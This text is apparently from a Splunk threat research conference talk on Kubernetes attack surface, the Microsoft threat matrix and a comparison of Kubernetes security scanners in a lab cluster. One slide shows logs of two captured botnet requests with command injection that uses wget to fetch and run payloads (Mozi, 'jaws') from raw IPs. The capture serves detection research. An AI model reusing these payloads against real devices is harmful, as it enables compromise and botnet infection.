

How Splunk gives actionable relief to torture testing Kubernetes across multi-cloud

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
Jose Hernandez

Senior Manager, Threat Research




Splunk Threat Research Team

**Study
Threats**




**Create
Datasets**



**Build
Detections**



**Release
Tools**




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Community**



Agenda

- 1) Kubernetes**
- 2) Architecture & Components**
- 3) Attack surface of a K8s cluster**
- 4) Tools for torture testing**
- 5) Results**

Kubernetes



Important Kubernetes components

Pod: A Pod is the basic execution unit of a Kubernetes application—the smallest and simplest unit in the Kubernetes object model that you create or deploy. A Pod represents processes running on your [cluster](#)*

Service: An abstract way to expose an application running on a set of [Pods](#) as a network service

Volume: is just a directory, possibly with some data in it, which is accessible to the Containers in a Pod.

Namespace: “Intended for use in environments with many users spread across multiple teams, or projects.”*

Sensitive objects in a Kubernetes cluster

Configmaps: Includes things such as bind configuration files, command line arguments, environment variables, port numbers and other system components are runtime. This object is used for configuration replication and reference and should be stored in a central and protected place. Think for example of a hardcoded API key that is used by multiple applications distributed in containers.

Secrets: Stores and manages sensitive information, such as passwords, OAuth tokens and ssh keys. Unauthorized access to these files may result in cluster compromise on a multiple scale.

Accessing Kubernetes

Via API with Kubectl or REST requests


These requests go through several stages of authentication, authorization and Admission control.

Authentication




Client Certificates,
Password, Plain
Tokens, Bootstrap
tokens and JWT
Tokens.

Authorization



ABAC, RBAC or
Webhooks (Depends
on provider setup)

Admission Control



Software modules that
can modify or reject
requests

Accessing Kubernetes - Network


A series of ports used for Kubernetes access and functionality (TCP)

- 443 API
- 2379 etcd
- 6443 kube-apiserver
- 6666 etcd
- 8443 kube-apiserver
- 8080 kube-apiserver
- 10250 kubelet
- 10255 kubelet
- 10256 kube-proxy

Accessing Kubernetes

Special consideration must be given to the following objects of a cluster due to their sensitive nature as well.

Kubelet




Agent that runs in all pods, may disclose sensitive information, used to execute commands, and lateral movement.

Etcd



Cluster state and configuration.

API



Unauthenticated requests may lead to command execution and cluster compromise.

Kubernetes attack surface


Inside Cluster

- Compromised API Keys
- Application vulnerabilities
- K8s Platform vulnerabilities
- Container Implantation
- Container Escape
- Running Cluster with high privilege account (root)
- Privilege Abuse

Outside Cluster

- Exposed application vulnerabilities
- Exposed etcd
- Exposed kubelet
- Exposed management interface
- Denial of Service
- Exposed management GUI

DevOps attack surface (K8s periphery)



DevOps Pipeline Tool Overview (selection of tools, note: image/logo rights are with the respective copyright owners)

Microsoft Threat Matrix for K8s

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Impact
Using Cloud Credentials	Exec into Container	Backdoor Container	Privileged Container	Clear Container Logs	List K8S Secrets	Access the K8S API Server	Access Cloud Resources	Data Destruction
Compromised Images in Registry	bash/cmd inside container	Writable hostPath mount	Cluster-admin binding	Delete K8S events	Mount service principal	Access Kubelet API	Container service account	Resource Hijacking
Kube config file	New container	Kubernetes CronJob	hostPath mount	Pod/container name similarity	Access container service account	Network mapping	Cluster internal networking	Denial of service
Application Vulnerability	Application exploit (RCE)		Access cloud resources	Connect from Proxy server	Applications credentials in configuration files	Access Kubernetes dashboard	Applications credentials in configuration files	
Exposed Dashboard	SSH server running inside container					Instance Metadata API	Writable volume mounts on the host	
							Access Kubernetes dashboard	
							Access tiller endpoint	

Tools + Matrix, Where Do They Fit?

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Impact
Using Cloud Credentials (Git-Wild-hunt)	Exec into container (Kubect!, Kubeadmin, Docker)	Backdoor Container (CCAT)	Privileged Container	Clear Container Logs	List K8S secrets	Access the K8S API server	Access Cloud Resources	Data Destruction
Compromised Images in Registry (CCAT)	New Container (CCAT)	Writable hostPath mount (Kubect!, Docker)	Cluster-admin binding	Delete K8S events	Mount service principal	Access Kubelet API	Container service account	Resource Hijacking
Kube config file (Kube_hunter)	Application Exploit (MetaSploit)	Kubernetes CronJob (CCAT, bash)	hostPath mount	Pod/container name similarity	Access container service account	Network mapping	Cluster internal networking	Denial of service
Application Vulnerability (Trivy_Kube_hunter)	SSH Server running inside container (THC Hydra)		Access cloud resources	Connect from Proxy server	Applications credentials in configuration files	Access Kubernetes dashboard	Applications credentials in configuration files	
Exposed Dashboard (Shodan, Kube_hunter)						Instance Metadata API	Writable volume mounts on the host	
							Access Kubernetes dashboard	
							Access tiller endpoint	

Tools + Matrix, Where Do They Fit?

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Impact
Using Cloud Credentials (Git-Wild-hunt)	Exec into container (Kubect!, Kubeadmin, Docker)	Backdoor Container (CCAT)	Privileged Container (KubiScan)	Clear Container Logs (Kubect!, Kube_hunter)	List K8S secrets (kube_hunter)	Access the K8S API server	Access Cloud Resources	Data Destruction
Compromised Images in Registry (CCAT)	New Container (CCAT)	Writable hostPath mount (Kubect!, Docker)	Cluster-Admin Binding (Kube-Audit, KubiScan)	Delete K8S events (Kubect!, Docker)	Mount service principal (kubect!)	Access Kubelet API	Container service account	Resource Hijacking
Kube config file (Kube_hunter)	Application Exploit (MestaSploit)	Kubernetes CronJob (CCAT, bash)	hostPath mount (Kube_hunter)	Pod/container name similarity (kubect!)	Access container service account (kubect!)	Network mapping	Cluster internal networking	Denial of service
Application Vulnerability (Trivy_Kube_hunter)	SSH Server running inside container (THC Hydra)		Access Cloud Resources (Kube_hunter)	Connect from Proxy server (Kube_hunter)	Applications credentials in configuration files (kubect!)	Access Kubernetes dashboard	Applications credentials in configuration files	
Exposed Dashboard (Shodan, Kube_hunter)						Instance Metadata API	Writable volume mounts on the host	
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Tools + Matrix, Where Do They Fit?

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Using Cloud Credentials (Git-Wild-hunt)	Exec into container (Kubect!, Kubeadmin, Docker)	Backdoor Container (CCAT)	Privileged Container (KubiScan)	Clear Container Logs (Kubect!, Kube_hunter)	List K8S secrets (kube_hunter)	Access the K8S API server (kube_hunter)	Access Cloud Resources (kube_hunter)	Data Destruction (kubect!)
Compromised Images in Registry (CCAT)	New Container (CCAT)	Writable hostPath mount (Kubect!, Docker)	Cluster-Admin Binding (Kube-Audit, KubiScan)	Delete K8S events (Kubect!, Docker)	Mount service principal (kubect!)	Access Kubelet API (kube_hunter)	Container service account (kubect!)	Resource Hijacking (kubect!)
Kube config file (Kube_hunter)	Application Exploit (MestaSploit)	Kubernetes CronJob (CCAT, bash)	hostPath mount (Kube_hunter)	Pod/container name similarity (kubect!)	Access container service account (kubect!)	Network mapping (kube_hunter)	Cluster internal networking (kube_hunter)	Denial of service CVE-2019-11253
Application Vulnerability (Trivy_Kube_hunter)	SSH Server running inside container (THC Hydra)		Access Cloud Resources (Kube_hunter)	Connect from Proxy server (Kube_hunter)	Applications credentials in configuration files (kubect!)	Access Kubernetes dashboard (kube_hunter)	Applications credentials in configuration files (kubect!)	
Exposed Dashboard (Shodan, Kube_hunter)						Instance Metadata API (Pacu)	Writable hostPath mount (Kubect!, Kube_hunter)	
							Access Kubernetes dashboard (kube_hunter)	
							Access tiller endpoint (kubect!)	

Torture Tools



Starting List

Trivy

Skan

CCAT

Kubeaudit

FairwindsOps Polaris

Kubesecc (controlplaneio)

Kubiscan

Kube-bench

Kube-scan

Kube-hunter

Kubei

Run as pod

✗ Trivy

✗ Skan

✗ CCAT

✗ Kubeaudit

FairwindsOps Polaris

Kubesec (controlplaneio)

Kubiscan

Kube-bench

Kube-scan

Kube-hunter


Kubei

Checks for exploits



- ✗ Trivy - check manifests
- ✗ Skan - checks manifests
- ✗ CCAT - implantation
- ✗ Kubeaudit - auditing
- ✗ FairwindsOps Polaris - health/auditing
- ✗ Kubesec (controlplaneio) - checks manifests
- ✗ Kubiscan - auditing
- ✗ Kube-bench - checks manifests
- ✗ Kube-scan - auditing
- ✓ Kube-hunter - vulnerability scanner
- ✓ Kubei - vulnerability scanner

Test Platform





VIDEO PLACEHOLDER

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Video Filename:

Interesting Side effect

New Search Save As ▾ Close

index="kubernetes" **wget** Last 7 days ▾ 🔍

✓ 2 events (8/11/20 6:00:00.000 PM to 8/18/20 6:52:41.000 PM) No Event Sampling ▾ Job ▾ ⏏ ⏏ ⏏ ⏏ ⏏ Smart Mode ▾

Events (2) Patterns Statistics Visualization

Format Timeline ▾ — Zoom Out + Zoom to Selection × Deselect 1 hour per column

List ▾ Format 20 Per Page ▾

	i	Time	Event
>	8/18/20 3:15:09.013 PM	10.0.15.113 - - [18/Aug/2020:15:15:08 +0000] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://162.212.112.170:59685/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0" 404 20504	
		cluster_name = cluster_name container_id = 4a77022bd09bad503a5254528bf3b05542d575d0fcec7a08d43193c9d68fdbba container_image = bitnami/wordpress:5.4.2-debian-10-r46 container_name = wordpress host = ip-10-0-15-21.us-west-2.compute.internal index = kubernetes linecount = 2 namespace = default pod = attack-range-wordpress-5ddf8d74df-lvxxk pod_uid = 904695f3-9d40-468a-a87c-ad01f5bfc18a punct = ..._..._/[:::~+]*_/?.=&=&+~+/*;+//.../;+~+ source = /var/log/containers/attack-range-wordpress-5ddf8d74df-lvxxk_default_wordpre... sourcetype = kube:container:wordpress splunk_server = splunk-server-286715	
>	8/18/20 2:05:39.851 AM	10.0.15.113 - - [18/Aug/2020:02:05:39 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://185.172.110.185/jaws;+chmod+777+/tmp/ja;+sh+/tmp/ja HTTP/1.1" 404 21006	
		cluster_name = cluster_name container_id = 4a77022bd09bad503a5254528bf3b05542d575d0fcec7a08d43193c9d68fdbba container_image = bitnami/wordpress:5.4.2-debian-10-r46 container_name = wordpress host = ip-10-0-15-21.us-west-2.compute.internal index = kubernetes linecount = 2 namespace = default pod = attack-range-wordpress-5ddf8d74df-lvxxk pod_uid = 904695f3-9d40-468a-a87c-ad01f5bfc18a punct = ..._..._/[:::~+]*_/7?;+~+/*;+//.../;+~+ source = /var/log/containers/attack-range-wordpress-5ddf8d74df-lvxxk_default_wordpre... sourcetype = kube:container:wordpress splunk_server = splunk-server-286715	

SELECTED FIELDS
 a cluster_name 1
 a container_id 1
 a container_image 1
 a container_name 1
 a host 1
 a index 1
 # linecount 1
 a namespace 1
 a pod 1
 a pod_uid 1
 a punct 2
 a source 1
 a sourcetype 1
 a splunk_server 1

INTERESTING FIELDS
 a cmd 1
 a curpath 1
 # currentsetting_htm 1
 a next_file 1
 a todo 1

[+ Extract New Fields](#)

Key Takeaways




- Few k8s security tools check running cluster
- Kube hunter provided the best data
- Many tools deploy their own UI
- Not easy to get JSON out of most tools for reporting
- Most tools are only auditing
- While we did not test x-clouds this would work in GCP and Azure

Where is the data?

all the logs we collected during the attacks

github.com/d1vious/





Thank You

Please provide feedback via the
SESSION SURVEY

